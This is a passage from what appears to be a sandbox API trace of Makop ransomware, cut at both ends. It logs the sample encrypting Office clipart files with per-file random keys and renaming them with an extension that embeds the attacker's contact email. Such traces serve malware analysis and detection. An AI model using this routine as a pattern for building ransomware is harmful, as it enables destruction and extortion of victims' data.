"c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.469] CloseHandle (hObject=0xf0) returned 1 [0111.469] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0111.469] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63 [0111.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.470] GetProcessHeap () returned 0x48a0000 [0111.470] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.470] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.470] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.470] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.475] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.475] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.475] GetProcessHeap () returned 0x48a0000 [0111.475] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.475] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.475] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.475] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.475] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.475] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.476] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.476] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.476] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.476] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.476] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.476] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.476] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8fc, lpOverlapped=0x0) returned 1 [0111.476] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x900, dwBufLen=0x900 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x900) returned 1 [0111.476] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.477] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x900, lpOverlapped=0x0) returned 1 [0111.477] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.477] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.477] SetEndOfFile (hFile=0xf0) returned 1 [0111.484] GetProcessHeap () returned 0x48a0000 [0111.484] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.484] GetProcessHeap () returned 0x48a0000 [0111.484] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.484] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.484] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.485] CloseHandle (hObject=0xf0) returned 1 [0111.486] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0111.486] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0111.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.488] GetProcessHeap () returned 0x48a0000 [0111.488] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.488] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.488] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.488] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.488] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.488] GetProcessHeap () returned 0x48a0000 [0111.488] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.488] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.488] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.489] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.494] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.495] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.495] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.495] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.495] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.495] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.495] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.495] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.496] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x820, lpOverlapped=0x0) returned 1 [0111.496] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x820, dwBufLen=0x820 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x820) returned 1 [0111.496] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.496] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x820, lpOverlapped=0x0) returned 1 [0111.496] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.496] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.496] SetEndOfFile (hFile=0xf0) returned 1 [0111.503] GetProcessHeap () returned 0x48a0000 [0111.503] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.503] GetProcessHeap () returned 0x48a0000 [0111.503] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.503] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.505] CloseHandle (hObject=0xf0) returned 1 [0111.505] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0111.505] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0111.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.507] GetProcessHeap () returned 0x48a0000 [0111.507] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.507] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.507] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.507] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.507] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.507] GetProcessHeap () returned 0x48a0000 [0111.507] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.507] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.507] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.507] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.511] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.512] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.512] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.512] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.512] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.512] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.512] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.513] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.513] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x820, lpOverlapped=0x0) returned 1 [0111.513] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x820, dwBufLen=0x820 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x820) returned 1 [0111.513] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.513] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x820, lpOverlapped=0x0) returned 1 [0111.513] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.513] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.513] SetEndOfFile (hFile=0xf0) returned 1 [0111.520] GetProcessHeap () returned 0x48a0000 [0111.520] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.520] GetProcessHeap () returned 0x48a0000 [0111.521] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.521] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.521] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.523] CloseHandle (hObject=0xf0) returned 1 [0111.523] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0111.524] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0111.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.524] GetProcessHeap () returned 0x48a0000 [0111.524] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.524] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.524] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.525] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0111.529] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.529] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.530] GetProcessHeap () returned 0x48a0000 [0111.530] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.530] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.530] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.530] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.530] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.530] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.530] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.531] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.531] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.531] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.531] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7d4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7d4, lpOverlapped=0x0) returned 1 [0111.531] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7e0, dwBufLen=0x7e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7e0) returned 1 [0111.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.532] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7e0, lpOverlapped=0x0) returned 1 [0111.532] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.532] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.532] SetEndOfFile (hFile=0xf0) returned 1 [0111.539] GetProcessHeap () returned 0x48a0000 [0111.539] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.539] GetProcessHeap () returned 0x48a0000 [0111.539] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.539] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft 